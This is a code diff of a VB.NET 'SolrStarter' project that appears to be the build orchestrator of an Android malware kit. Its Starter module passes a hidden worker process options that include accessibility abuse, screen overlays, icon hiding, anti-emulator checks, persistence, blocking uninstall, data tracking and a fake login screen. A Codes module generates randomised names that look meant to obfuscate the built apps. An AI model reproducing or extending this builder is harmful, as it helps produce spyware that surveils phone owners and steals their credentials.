<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||||
|
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||||
|
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||||
|
<SubType>Designer</SubType>
|
||||||
|
</EmbeddedResource>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="My Project\Application.myapp">
|
||||||
|
<Generator>MyApplicationCodeGenerator</Generator>
|
||||||
|
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||||
|
</None>
|
||||||
|
<None Include="My Project\Settings.settings">
|
||||||
|
<Generator>SettingsSingleFileGenerator</Generator>
|
||||||
|
<CustomToolNamespace>My</CustomToolNamespace>
|
||||||
|
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||||
|
</None>
|
||||||
|
<None Include="App.config" />
|
||||||
|
<None Include="packages.config" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,283 @@
|
|||||||
|
Imports System.Text
|
||||||
|
Imports Microsoft.Win32
|
||||||
|
|
||||||
|
Module Starter
|
||||||
|
|
||||||
|
Private userid As String
|
||||||
|
Private appid As String
|
||||||
|
Private ClientName As String = Nothing
|
||||||
|
Private UserHost As String = Nothing
|
||||||
|
|
||||||
|
Private use_access As String = Nothing
|
||||||
|
Private use_draw As String = Nothing
|
||||||
|
Private use_antkill As String = Nothing
|
||||||
|
Private use_atoprims As String = Nothing
|
||||||
|
Private notifytitle As String = Nothing
|
||||||
|
Private notifymsg As String = Nothing
|
||||||
|
|
||||||
|
Private allprims As String = Nothing
|
||||||
|
Private Buildtype As String = Nothing
|
||||||
|
|
||||||
|
|
||||||
|
Private appname As String = Nothing
|
||||||
|
Private appversion As String = Nothing
|
||||||
|
Private appicopath As String = Nothing
|
||||||
|
Private appurl As String = Nothing
|
||||||
|
Private logintitle As String = Nothing
|
||||||
|
Private logindis As String = Nothing
|
||||||
|
Private loginbtn As String = Nothing
|
||||||
|
Private lngshort As String = Nothing
|
||||||
|
Private hiddenapp As String = Nothing
|
||||||
|
Private noemulator As String = Nothing
|
||||||
|
Private miuiautostart As String = Nothing
|
||||||
|
Private autorunback As String = Nothing
|
||||||
|
Private installtype As String = Nothing
|
||||||
|
Private hidetype As String = Nothing
|
||||||
|
Private nosleep As String = Nothing
|
||||||
|
Private caplock As String = Nothing
|
||||||
|
Private trakingdata As String = Nothing
|
||||||
|
Private allconfig As String = Nothing
|
||||||
|
Private nodelete As String = Nothing
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Private Email As String = Nothing
|
||||||
|
Private MainActivity As String = Nothing
|
||||||
|
Private appdir As String = Nothing
|
||||||
|
|
||||||
|
Private Workerid As String
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
'enum('onbuild', 'failed', 'finished')
|
||||||
|
|
||||||
|
|
||||||
|
Sub Main()
|
||||||
|
|
||||||
|
|
||||||
|
Try
|
||||||
|
|
||||||
|
Threading.Thread.Sleep(500)
|
||||||
|
|
||||||
|
Dim args() As String = Split(Command(), " ")
|
||||||
|
If args Is Nothing Or args.Length = 0 Then
|
||||||
|
Console.WriteLine("Invalid Parameter Builder.")
|
||||||
|
Environment.Exit(0)
|
||||||
|
End If
|
||||||
|
|
||||||
|
Dim com As String = args(0).Trim("""")
|
||||||
|
|
||||||
|
|
||||||
|
Try
|
||||||
|
appid = Base64Decode(args(1).Trim(""""))
|
||||||
|
userid = Base64Decode(args(2).Trim(""""))
|
||||||
|
ClientName = Base64Decode(args(3).Trim(""""))
|
||||||
|
Email = Base64Decode(args(4).Trim(""""))
|
||||||
|
MainActivity = Base64Decode(args(5).Trim(""""))
|
||||||
|
appdir = Base64Decode(args(6).Trim(""""))
|
||||||
|
UserHost = Base64Decode(args(7).Trim(""""))
|
||||||
|
|
||||||
|
use_access = Base64Decode(args(8).Trim(""""))
|
||||||
|
use_draw = Base64Decode(args(9).Trim(""""))
|
||||||
|
use_antkill = Base64Decode(args(10).Trim(""""))
|
||||||
|
use_atoprims = Base64Decode(args(11).Trim(""""))
|
||||||
|
notifytitle = Base64Decode(args(12).Trim(""""))
|
||||||
|
notifymsg = Base64Decode(args(13).Trim(""""))
|
||||||
|
|
||||||
|
If String.IsNullOrWhiteSpace(notifytitle) Or String.IsNullOrEmpty(notifytitle) Then
|
||||||
|
notifytitle = " "
|
||||||
|
End If
|
||||||
|
|
||||||
|
If String.IsNullOrWhiteSpace(notifymsg) Or String.IsNullOrEmpty(notifymsg) Then
|
||||||
|
notifymsg = " "
|
||||||
|
End If
|
||||||
|
|
||||||
|
allprims = Base64Decode(args(14).Trim(""""))
|
||||||
|
|
||||||
|
Buildtype = Base64Decode(args(15).Trim(""""))
|
||||||
|
appname = Base64Decode(args(16).Trim(""""))
|
||||||
|
appversion = Base64Decode(args(17).Trim(""""))
|
||||||
|
appicopath = Base64Decode(args(18).Trim(""""))
|
||||||
|
appurl = Base64Decode(args(19).Trim(""""))
|
||||||
|
logintitle = Base64Decode(args(20).Trim(""""))
|
||||||
|
logindis = Base64Decode(args(21).Trim(""""))
|
||||||
|
loginbtn = Base64Decode(args(22).Trim(""""))
|
||||||
|
lngshort = Base64Decode(args(23).Trim(""""))
|
||||||
|
|
||||||
|
hiddenapp = Base64Decode(args(24).Trim(""""))
|
||||||
|
noemulator = Base64Decode(args(25).Trim(""""))
|
||||||
|
miuiautostart = Base64Decode(args(26).Trim(""""))
|
||||||
|
autorunback = Base64Decode(args(27).Trim(""""))
|
||||||
|
installtype = Base64Decode(args(28).Trim(""""))
|
||||||
|
hidetype = Base64Decode(args(29).Trim(""""))
|
||||||
|
nosleep = Base64Decode(args(30).Trim(""""))
|
||||||
|
caplock = Base64Decode(args(31).Trim(""""))
|
||||||
|
trakingdata = Base64Decode(args(32).Trim(""""))
|
||||||
|
allconfig = Base64Decode(args(33).Trim(""""))
|
||||||
|
nodelete = Base64Decode(args(34).Trim(""""))
|
||||||
|
'If Buildtype = "C" Then
|
||||||
|
' appname = Base64Decode(args(16).Trim(""""))
|
||||||
|
' appversion = Base64Decode(args(17).Trim(""""))
|
||||||
|
' appicopath = Base64Decode(args(18).Trim(""""))
|
||||||
|
' appurl = Base64Decode(args(19).Trim(""""))
|
||||||
|
' logintitle = Base64Decode(args(20).Trim(""""))
|
||||||
|
' logindis = Base64Decode(args(21).Trim(""""))
|
||||||
|
' loginbtn = Base64Decode(args(22).Trim(""""))
|
||||||
|
' lngshort = Base64Decode(args(23).Trim(""""))
|
||||||
|
|
||||||
|
' hiddenapp = Base64Decode(args(24).Trim(""""))
|
||||||
|
' noemulator = Base64Decode(args(25).Trim(""""))
|
||||||
|
' miuiautostart = Base64Decode(args(26).Trim(""""))
|
||||||
|
' autorunback = Base64Decode(args(27).Trim(""""))
|
||||||
|
' installtype = Base64Decode(args(28).Trim(""""))
|
||||||
|
' hidetype = Base64Decode(args(29).Trim(""""))
|
||||||
|
' nosleep = Base64Decode(args(30).Trim(""""))
|
||||||
|
|
||||||
|
'Else
|
||||||
|
' appname = "_"
|
||||||
|
' appversion = "_"
|
||||||
|
' appicopath = "_"
|
||||||
|
' appurl = "_"
|
||||||
|
' logintitle = "_"
|
||||||
|
' logindis = "_"
|
||||||
|
' loginbtn = "_"
|
||||||
|
' hiddenapp = "_"
|
||||||
|
' noemulator = "_"
|
||||||
|
' miuiautostart = "_"
|
||||||
|
' autorunback = "_"
|
||||||
|
' installtype = "_"
|
||||||
|
' hidetype = "_"
|
||||||
|
' nosleep = "_"
|
||||||
|
' lngshort = Base64Decode(args(16).Trim(""""))
|
||||||
|
'End If
|
||||||
|
|
||||||
|
Catch ex As Exception
|
||||||
|
|
||||||
|
Console.WriteLine("> Error: " + "Something went wrong")
|
||||||
|
Mylogger.LogError(userid, "inialize values error:", ex.Message)
|
||||||
|
Environment.Exit(0)
|
||||||
|
End Try
|
||||||
|
|
||||||
|
|
||||||
|
Workerid = CovertToMD5(userid + "_" + appid)
|
||||||
|
|
||||||
|
Select Case com
|
||||||
|
Case "lunch"
|
||||||
|
|
||||||
|
|
||||||
|
If Busy(Workerid) Then
|
||||||
|
Console.WriteLine("This app is building right now , please wait.")
|
||||||
|
Environment.Exit(0)
|
||||||
|
End If
|
||||||
|
|
||||||
|
Dim exePath As String = "SolrWorker.exe"
|
||||||
|
|
||||||
|
|
||||||
|
Dim encodedArguments As String = ToBase64(Workerid) + " " +
|
||||||
|
ToBase64(appid) + " " +
|
||||||
|
ToBase64(userid) + " " +
|
||||||
|
ToBase64(ClientName) + " " +
|
||||||
|
ToBase64(Email) + " " +
|
||||||
|
ToBase64(MainActivity) + " " +
|
||||||
|
ToBase64(appdir) + " " +
|
||||||
|
ToBase64(UserHost) + " " +
|
||||||
|
ToBase64(use_access) + " " +
|
||||||
|
ToBase64(use_draw) + " " +
|
||||||
|
ToBase64(use_antkill) + " " +
|
||||||
|
ToBase64(use_atoprims) + " " +
|
||||||
|
ToBase64(notifytitle) + " " +
|
||||||
|
ToBase64(notifymsg) + " " +
|
||||||
|
ToBase64(allprims) + " " +
|
||||||
|
ToBase64(Buildtype) + " " +
|
||||||
|
ToBase64(appname) + " " +
|
||||||
|
ToBase64(appversion) + " " +
|
||||||
|
ToBase64(appicopath) + " " +
|
||||||
|
ToBase64(appurl) + " " +
|
||||||
|
ToBase64(logintitle) + " " +
|
||||||
|
ToBase64(logindis) + " " +
|
||||||
|
ToBase64(loginbtn) + " " +
|
||||||
|
ToBase64(lngshort) + " " +
|
||||||
|
ToBase64(hiddenapp) + " " +
|
||||||
|
ToBase64(noemulator) + " " +
|
||||||
|
ToBase64(miuiautostart) + " " +
|
||||||
|
ToBase64(autorunback) + " " +
|
||||||
|
ToBase64(installtype) + " " +
|
||||||
|
ToBase64(hidetype) + " " +
|
||||||
|
ToBase64(nosleep) + " " +
|
||||||
|
ToBase64(caplock) + " " +
|
||||||
|
ToBase64(trakingdata) + " " +
|
||||||
|
ToBase64(allconfig) + " " +
|
||||||
|
ToBase64(nodelete)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Dim startInfo As New ProcessStartInfo()
|
||||||
|
startInfo.FileName = exePath
|
||||||
|
startInfo.Arguments = encodedArguments
|
||||||
|
startInfo.CreateNoWindow = True
|
||||||
|
|
||||||
|
startInfo.WindowStyle = ProcessWindowStyle.Hidden
|
||||||
|
startInfo.UseShellExecute = True
|
||||||
|
|
||||||
|
|
||||||
|
Process.Start(startInfo)
|
||||||
|
|
||||||
|
Console.WriteLine("Your app is building now.")
|
||||||
|
|
||||||
|
Exit Select
|
||||||
|
Case Else
|
||||||
|
Console.WriteLine("Invalid Command.")
|
||||||
|
Exit Select
|
||||||
|
End Select
|
||||||
|
|
||||||
|
Environment.Exit(0)
|
||||||
|
|
||||||
|
Catch ex As Exception
|
||||||
|
Console.WriteLine("> Starter: " + ex.Message)
|
||||||
|
Mylogger.LogError(userid, "Main starter", ex.Message)
|
||||||
|
End Try
|
||||||
|
End Sub
|
||||||
|
Function ToBase64(input As String) As String
|
||||||
|
Dim bytes As Byte() = Encoding.UTF8.GetBytes(input)
|
||||||
|
Return Convert.ToBase64String(bytes)
|
||||||
|
End Function
|
||||||
|
Function Busy(ByVal userid As String) As Boolean
|
||||||
|
Try
|
||||||
|
Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\AppWorkers")
|
||||||
|
If key IsNot Nothing Then
|
||||||
|
Dim value As Object = key.GetValue(userid)
|
||||||
|
If value IsNot Nothing Then
|
||||||
|
Dim pid As Integer
|
||||||
|
If Integer.TryParse(value.ToString(), pid) Then
|
||||||
|
Dim process As Process = Process.GetProcessById(pid)
|
||||||
|
If process IsNot Nothing AndAlso Not process.HasExited Then
|
||||||
|
Return True
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
Catch ex As Exception
|
||||||
|
|
||||||
|
End Try
|
||||||
|
Return False
|
||||||
|
End Function
|
||||||
|
|
||||||
|
Function CovertToMD5(retVal As String) As String
|
||||||
|
Using MD5 = System.Security.Cryptography.MD5.Create()
|
||||||
|
Return BitConverter.ToString(MD5.ComputeHash(Encoding.Default.GetBytes(retVal))).Replace("-", String.Empty)
|
||||||
|
End Using
|
||||||
|
End Function
|
||||||
|
|
||||||
|
|
||||||
|
Public Function Base64Decode(encodedString As String) As String
|
||||||
|
Dim decodedBytes As Byte() = Convert.FromBase64String(encodedString)
|
||||||
|
Return System.Text.Encoding.UTF8.GetString(decodedBytes)
|
||||||
|
End Function
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
End Module
|
||||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8" ?>
|
||||||
|
<configuration>
|
||||||
|
<startup>
|
||||||
|
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
|
||||||
|
</startup>
|
||||||
|
</configuration>
|
||||||
Binary file not shown.
@@ -0,0 +1,26 @@
|
|||||||
|
<?xml version="1.0"?>
|
||||||
|
<doc>
|
||||||
|
<assembly>
|
||||||
|
<name>
|
||||||
|
SolrStarter
|
||||||
|
</name>
|
||||||
|
</assembly>
|
||||||
|
<members>
|
||||||
|
<member name="T:SolrStarter.My.Resources.Resources">
|
||||||
|
<summary>
|
||||||
|
A strongly-typed resource class, for looking up localized strings, etc.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:SolrStarter.My.Resources.Resources.ResourceManager">
|
||||||
|
<summary>
|
||||||
|
Returns the cached ResourceManager instance used by this class.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
<member name="P:SolrStarter.My.Resources.Resources.Culture">
|
||||||
|
<summary>
|
||||||
|
Overrides the current thread's CurrentUICulture property for all
|
||||||
|
resource lookups using this strongly typed resource class.
|
||||||
|
</summary>
|
||||||
|
</member>
|
||||||
|
</members>
|
||||||
|
</doc>
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
' <autogenerated/>
|
||||||
|
Option Strict Off
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
|
Imports System
|
||||||
|
Imports System.Reflection
|
||||||
|
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName:="")>
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
' <autogenerated/>
|
||||||
|
Option Strict Off
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
|
Imports System
|
||||||
|
Imports System.Reflection
|
||||||
|
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName:=".NET Framework 4.8")>
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<packages>
|
||||||
|
<package id="Newtonsoft.Json" version="13.0.3" targetFramework="net45" />
|
||||||
|
</packages>
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<configuration>
|
||||||
|
<startup>
|
||||||
|
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/>
|
||||||
|
</startup>
|
||||||
|
</configuration>
|
||||||
@@ -0,0 +1,396 @@
|
|||||||
|
|
||||||
|
|
||||||
|
Imports System.IO
|
||||||
|
Imports System.IO.Compression
|
||||||
|
Imports System.Security.Cryptography
|
||||||
|
Imports System.Text
|
||||||
|
Imports System.Xml
|
||||||
|
|
||||||
|
Module Codes
|
||||||
|
Function ToBase64(input As String) As String
|
||||||
|
Dim bytes As Byte() = Encoding.UTF8.GetBytes(input)
|
||||||
|
Return Convert.ToBase64String(bytes)
|
||||||
|
End Function
|
||||||
|
Function GenerateRandomFolderName(nam As String) As String
|
||||||
|
|
||||||
|
''Dim tempPath As String = GetDrive()
|
||||||
|
Dim tempPath As String = Path.GetTempPath
|
||||||
|
|
||||||
|
|
||||||
|
Dim validChars As String = "qazQAZwsxWSXedcEDCrfvRFVtgbTGByhnYHNujmUJMikIKolOLpP"
|
||||||
|
|
||||||
|
|
||||||
|
Dim folderNameLength As Integer = 5
|
||||||
|
|
||||||
|
|
||||||
|
Dim random As New Random()
|
||||||
|
Dim folderName As String = "app_" + nam + "_" & New String(Enumerable.Repeat(validChars, folderNameLength) _
|
||||||
|
.Select(Function(s) s(random.Next(s.Length))).ToArray())
|
||||||
|
|
||||||
|
|
||||||
|
Dim fullPath As String = Path.Combine(tempPath, folderName)
|
||||||
|
|
||||||
|
|
||||||
|
Dim driv As String = GetDrive()
|
||||||
|
While Directory.Exists(fullPath)
|
||||||
|
|
||||||
|
folderName = driv & "app_" + nam + "_" & New String(Enumerable.Repeat(validChars, folderNameLength) _
|
||||||
|
.Select(Function(s) s(random.Next(s.Length))).ToArray())
|
||||||
|
fullPath = Path.Combine(tempPath, folderName)
|
||||||
|
End While
|
||||||
|
|
||||||
|
|
||||||
|
Directory.CreateDirectory(fullPath)
|
||||||
|
|
||||||
|
Return fullPath
|
||||||
|
End Function
|
||||||
|
Function Generatedrop(nam As String) As String
|
||||||
|
|
||||||
|
Dim tempPath As String = GetDrive() & "drops" & "\"
|
||||||
|
''Dim tempPath As String = Path.GetTempPath
|
||||||
|
|
||||||
|
|
||||||
|
Dim validChars As String = "qazQAZwsxWSXedcEDCrfvRFVtgbTGByhnYHNujmUJMikIKolOLpP"
|
||||||
|
|
||||||
|
|
||||||
|
Dim folderNameLength As Integer = 5
|
||||||
|
|
||||||
|
|
||||||
|
Dim random As New Random()
|
||||||
|
Dim folderName As String = "app_" + nam + "_" & New String(Enumerable.Repeat(validChars, folderNameLength) _
|
||||||
|
.Select(Function(s) s(random.Next(s.Length))).ToArray())
|
||||||
|
|
||||||
|
|
||||||
|
Dim fullPath As String = Path.Combine(tempPath, folderName)
|
||||||
|
|
||||||
|
|
||||||
|
Dim driv As String = GetDrive()
|
||||||
|
While Directory.Exists(fullPath)
|
||||||
|
|
||||||
|
folderName = driv & "app_" + nam + "_" & New String(Enumerable.Repeat(validChars, folderNameLength) _
|
||||||
|
.Select(Function(s) s(random.Next(s.Length))).ToArray())
|
||||||
|
fullPath = Path.Combine(tempPath, folderName)
|
||||||
|
End While
|
||||||
|
|
||||||
|
|
||||||
|
Directory.CreateDirectory(fullPath)
|
||||||
|
|
||||||
|
Return fullPath
|
||||||
|
End Function
|
||||||
|
Public Function FixStrings(ByVal str As String) As String
|
||||||
|
|
||||||
|
|
||||||
|
Dim c0 As String = "&"
|
||||||
|
Dim p0 As String = "&"
|
||||||
|
|
||||||
|
Dim c1 As String = "<"
|
||||||
|
Dim p1 As String = "<"
|
||||||
|
|
||||||
|
Dim c2 As String = """"
|
||||||
|
Dim p2 As String = "\"""
|
||||||
|
|
||||||
|
Dim c3 As String = "'"
|
||||||
|
Dim p3 As String = "\'"
|
||||||
|
|
||||||
|
Dim c4 As String = "?"
|
||||||
|
Dim p4 As String = "\?"
|
||||||
|
|
||||||
|
Dim c5 As String = "@"
|
||||||
|
Dim p5 As String = "\@"
|
||||||
|
|
||||||
|
If str.Contains(c0) Then
|
||||||
|
If Not str.Contains(p0) Then
|
||||||
|
str = str.Replace(c0, p0)
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
|
||||||
|
|
||||||
|
If str.Contains(c1) Then
|
||||||
|
If Not str.Contains(p1) Then
|
||||||
|
str = str.Replace(c1, p1)
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
|
||||||
|
If str.Contains(c2) Then
|
||||||
|
If Not str.Contains(p2) Then
|
||||||
|
str = str.Replace(c2, p2)
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
|
||||||
|
If str.Contains(c3) Then
|
||||||
|
If Not str.Contains(p3) Then
|
||||||
|
str = str.Replace(c3, p3)
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
|
||||||
|
If str.Contains(c4) Then
|
||||||
|
If Not str.Contains(p4) Then
|
||||||
|
str = str.Replace(c4, p4)
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
|
||||||
|
If str.Contains(c5) Then
|
||||||
|
If Not str.Contains(p5) Then
|
||||||
|
str = str.Replace(c5, p5)
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
Return str
|
||||||
|
|
||||||
|
End Function
|
||||||
|
Public Function FileInUse(ByVal sFile As String) As Boolean
|
||||||
|
Dim thisFileInUse As Boolean = False
|
||||||
|
If System.IO.File.Exists(sFile) Then
|
||||||
|
Try
|
||||||
|
Using f As New IO.FileStream(sFile, FileMode.Open, FileAccess.ReadWrite, FileShare.None)
|
||||||
|
' thisFileInUse = False
|
||||||
|
End Using
|
||||||
|
Catch
|
||||||
|
thisFileInUse = True
|
||||||
|
End Try
|
||||||
|
End If
|
||||||
|
Return thisFileInUse
|
||||||
|
End Function
|
||||||
|
Public rshit As Random = Nothing
|
||||||
|
Public usedalready As List(Of String) = New List(Of String)
|
||||||
|
Public cou3 As Integer = 0
|
||||||
|
Function RandommMad(minCharacters As Integer, maxCharacters As Integer)
|
||||||
|
again:
|
||||||
|
Dim s As String = "qazwsxedcrfvtgbyhnujmikolp"
|
||||||
|
Static r As New Random
|
||||||
|
Dim chactersInString As Integer = r.Next(minCharacters, maxCharacters)
|
||||||
|
Dim sb As New StringBuilder
|
||||||
|
For i As Integer = 1 To chactersInString
|
||||||
|
Dim idx As Integer = r.Next(0, s.Length)
|
||||||
|
sb.Append(s.Substring(idx, 1))
|
||||||
|
Next
|
||||||
|
Dim result As String = sb.ToString()
|
||||||
|
If usedalready.Contains(result) Then
|
||||||
|
GoTo again
|
||||||
|
End If
|
||||||
|
usedalready.Add(result)
|
||||||
|
Return result
|
||||||
|
End Function
|
||||||
|
Function UpdateVersions(inputXml As String) As String
|
||||||
|
Dim doc As New XmlDocument()
|
||||||
|
doc.LoadXml(inputXml)
|
||||||
|
|
||||||
|
Dim manifestNode As XmlNode = doc.SelectSingleNode("/manifest")
|
||||||
|
If manifestNode IsNot Nothing Then
|
||||||
|
Dim compileSdkVersionAttr As XmlAttribute = manifestNode.Attributes("compileSdkVersion")
|
||||||
|
Dim platformBuildVersionCodeAttr As XmlAttribute = manifestNode.Attributes("platformBuildVersionCode")
|
||||||
|
|
||||||
|
If compileSdkVersionAttr IsNot Nothing Then
|
||||||
|
Dim compileSdkVersionValue As Integer
|
||||||
|
|
||||||
|
|
||||||
|
If Integer.TryParse(compileSdkVersionAttr.Value, compileSdkVersionValue) AndAlso compileSdkVersionValue > 29 Then
|
||||||
|
compileSdkVersionAttr.Value = "29"
|
||||||
|
End If
|
||||||
|
|
||||||
|
|
||||||
|
End If
|
||||||
|
|
||||||
|
If platformBuildVersionCodeAttr IsNot Nothing Then
|
||||||
|
|
||||||
|
Dim platformBuildVersionCodeValue As Integer
|
||||||
|
|
||||||
|
|
||||||
|
If Integer.TryParse(platformBuildVersionCodeAttr.Value, platformBuildVersionCodeValue) AndAlso platformBuildVersionCodeValue > 29 Then
|
||||||
|
platformBuildVersionCodeAttr.Value = "29"
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
End If
|
||||||
|
|
||||||
|
Return doc.OuterXml
|
||||||
|
End Function
|
||||||
|
Public Function GetDrive() As String
|
||||||
|
Try
|
||||||
|
Dim f() As String = {"\"}
|
||||||
|
Dim a() As String = AppDomain.CurrentDomain.BaseDirectory.Split(f, StringSplitOptions.RemoveEmptyEntries)
|
||||||
|
Return a(0) & "\"
|
||||||
|
Catch
|
||||||
|
Return "C:\"
|
||||||
|
End Try
|
||||||
|
End Function
|
||||||
|
Private cou As Integer = 0
|
||||||
|
Function RandomSTR(minCharacters As Integer, maxCharacters As Integer)
|
||||||
|
|
||||||
|
Dim s As String = "qazQAZwsxWSXedcEDCrfvRFVtgbTGByhnYHNujmUJMikIKolOLpP"
|
||||||
|
|
||||||
|
Static r As New Random
|
||||||
|
Dim chactersInString As Integer = r.Next(minCharacters, maxCharacters)
|
||||||
|
Dim sb As New System.Text.StringBuilder
|
||||||
|
For i As Integer = 1 To chactersInString
|
||||||
|
Dim idx As Integer = r.Next(0, s.Length)
|
||||||
|
sb.Append(s.Substring(idx, 1))
|
||||||
|
|
||||||
|
Next
|
||||||
|
cou += 1
|
||||||
|
Return sb.ToString().ToLower() & CStr(cou)
|
||||||
|
End Function
|
||||||
|
Public Function GenerateRandomNumber(ByVal m0 As Integer, ByVal m1 As Integer) As Integer
|
||||||
|
Static Random_Number As New Random()
|
||||||
|
Return Random_Number.Next(m0, m1)
|
||||||
|
End Function
|
||||||
|
|
||||||
|
|
||||||
|
Private ranmad As Random
|
||||||
|
Public Function madladstr() As String
|
||||||
|
Dim s As String = "QAZWSXEDCRFTGBYHNUJMIKOLP嘩骆姨毘矛檴丘萺膵掸纀豘侉蚩蕥寶鎳獖凙鈞蹼甞犈鐲瀿梲竆暀薽勵嗬訴棕qazwsxedcrfvtgbyhnujmikolpضشئصسءثيؤقرفللاغاىعتةهنخمح"
|
||||||
|
If rshit Is Nothing Then
|
||||||
|
rshit = New Random
|
||||||
|
End If
|
||||||
|
|
||||||
|
Dim sb As String = ""
|
||||||
|
While sb.Length < 125
|
||||||
|
sb += s(rshit.Next(0, s.Length - 1))
|
||||||
|
End While
|
||||||
|
|
||||||
|
cou3 += 1
|
||||||
|
Return sb.ToString().ToLower & CStr(cou3)
|
||||||
|
End Function
|
||||||
|
|
||||||
|
'Public Sub File_zip_Decompress(zipPath As String, pathfolder As String)
|
||||||
|
|
||||||
|
' If Not System.IO.Directory.Exists(pathfolder) Then
|
||||||
|
' System.IO.Directory.CreateDirectory(pathfolder)
|
||||||
|
' End If
|
||||||
|
' 'Using zip As Ionic.Zip.ZipFile = Ionic.Zip.ZipFile.Read(zipPath)
|
||||||
|
' ' zip.ExtractAll(pathfolder, Ionic.Zip.ExtractExistingFileAction.OverwriteSilently)
|
||||||
|
' 'End Using
|
||||||
|
|
||||||
|
' ZipFile.ExtractToDirectory(zipPath, pathfolder)
|
||||||
|
|
||||||
|
'End Sub
|
||||||
|
|
||||||
|
Public Sub CopyDirectoryContents(sourcePath As String, destinationPath As String)
|
||||||
|
If Not Directory.Exists(sourcePath) Then
|
||||||
|
Return
|
||||||
|
End If
|
||||||
|
|
||||||
|
If Not Directory.Exists(destinationPath) Then
|
||||||
|
Directory.CreateDirectory(destinationPath)
|
||||||
|
End If
|
||||||
|
|
||||||
|
' Copy all files
|
||||||
|
For Each filePathString As String In Directory.GetFiles(sourcePath, "*.*", SearchOption.AllDirectories)
|
||||||
|
Dim fileInfoItem As New FileInfo(filePathString)
|
||||||
|
Dim newFilePath As String = Path.Combine(destinationPath, fileInfoItem.Name)
|
||||||
|
If File.Exists(newFilePath) Then
|
||||||
|
' If file already exists in destination, replace it
|
||||||
|
File.Delete(newFilePath)
|
||||||
|
End If
|
||||||
|
File.Copy(filePathString, newFilePath) ' Move file
|
||||||
|
Next
|
||||||
|
|
||||||
|
' Now copy all directories (including subdirectories) except source
|
||||||
|
For Each dirPath As String In Directory.GetDirectories(sourcePath, "*", SearchOption.AllDirectories)
|
||||||
|
Dim newDirPath As String = dirPath.Replace(sourcePath, destinationPath)
|
||||||
|
If Not Directory.Exists(newDirPath) Then
|
||||||
|
Directory.CreateDirectory(newDirPath)
|
||||||
|
End If
|
||||||
|
' Copy directory's content except source directory
|
||||||
|
For Each filePathString As String In Directory.GetFiles(dirPath, "*.*", SearchOption.AllDirectories)
|
||||||
|
Dim fileInfoItem As New FileInfo(filePathString)
|
||||||
|
Dim newFilePath As String = Path.Combine(newDirPath, fileInfoItem.Name)
|
||||||
|
If File.Exists(newFilePath) Then
|
||||||
|
' If file already exists in destination, replace it
|
||||||
|
File.Delete(newFilePath)
|
||||||
|
End If
|
||||||
|
File.Copy(filePathString, newFilePath) ' Move file
|
||||||
|
Next
|
||||||
|
Next
|
||||||
|
End Sub
|
||||||
|
Public Sub DirectoryDeleteLong(ByVal directoryPath As String)
|
||||||
|
Dim emptyDirectory = New DirectoryInfo(Path.GetTempPath() + "\TempEmptyDirectory-" + Guid.NewGuid().ToString)
|
||||||
|
|
||||||
|
Try
|
||||||
|
emptyDirectory.Create()
|
||||||
|
|
||||||
|
Using process = New Process()
|
||||||
|
process.StartInfo.FileName = "robocopy.exe"
|
||||||
|
process.StartInfo.Arguments = """" & emptyDirectory.FullName & """ """ & directoryPath & """ /mir /r:1 /w:1 /np /xj /sl"
|
||||||
|
process.StartInfo.UseShellExecute = False
|
||||||
|
process.StartInfo.CreateNoWindow = True
|
||||||
|
process.Start()
|
||||||
|
process.WaitForExit()
|
||||||
|
End Using
|
||||||
|
|
||||||
|
emptyDirectory.Delete()
|
||||||
|
If Directory.Exists(directoryPath) Then
|
||||||
|
Dim x As New DirectoryInfo(directoryPath)
|
||||||
|
x.Attributes = FileAttributes.Normal
|
||||||
|
Directory.Delete(directoryPath)
|
||||||
|
End If
|
||||||
|
|
||||||
|
Catch __unusedIOException1__ As IOException
|
||||||
|
' MsgBox(__unusedIOException1__)
|
||||||
|
End Try
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Public Function FromBase64(input As String) As String
|
||||||
|
Dim bytes As Byte() = Convert.FromBase64String(input)
|
||||||
|
Return Encoding.UTF8.GetString(bytes)
|
||||||
|
End Function
|
||||||
|
|
||||||
|
|
||||||
|
Private randmid As String() = New String() {
|
||||||
|
"ahpla", "ateb", "ammag", "atled", "agemo",
|
